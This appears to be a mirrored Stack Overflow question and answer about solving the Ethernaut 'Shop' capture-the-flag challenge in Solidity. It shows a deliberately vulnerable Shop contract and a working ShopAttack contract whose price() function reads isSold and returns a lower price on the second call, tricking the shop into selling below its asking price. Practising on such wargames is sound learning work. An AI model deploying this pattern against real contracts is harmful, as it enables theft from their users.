0

This would be the code, but my problem is, I was doing the ethernaut challenge for solidity, and my code is always running out of gas, then I think "if I use assembly it cost less gas", so I ran into a problem, it is possible to call a function getter from another contract in assembly?

This is my code:

pragma solidity ^0.6;
    
    interface Buyer {
      function price() external view returns (uint);
    }
    
    contract Shop {
      uint public price = 100;
      bool public isSold;
    
      function buy() public {
        Buyer _buyer = Buyer(msg.sender);
    
        if (_buyer.price.gas(3000)() >= price && !isSold) {
          isSold = true;
          price = _buyer.price.gas(3000)();
        }
      }
    }
    
    
    contract ShopAttack {
        Shop public challenge;
        
        constructor(Shop _challenge) public {
            challenge = Shop(_challenge);
        }
        
        function price() external view returns (uint) {
            assembly {
                let result
                
                switch sload(<calling challenge.isSold() from shop>)
                case 1 {
                    result := 99
                }
                default {
                    result := 100
                }
                
                mstore(0x0, result)
                return(0x0, 32)
            }
        }
    
      function attack() external {
        challenge.buy();
      }
4

1 回答 1

0
pragma solidity ^0.6;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}


contract ShopAttack {
    
    function price() external view returns (uint) {
    
    
        bool isSold = Shop(msg.sender).isSold(); 
        
        assembly {
            let result
            
            switch isSold
            case 1 {
                result := 99
            }
            default {
                result := 100
            }
            
            mstore(0x0, result)
            return(0x0, 32)
        }
    }

  function attack(Shop _victim) external {
    Shop(_victim).buy();
  }
}

I solved by calling first the method of the function to get the boolean !

于 2021-04-30T15:31:36.353 回答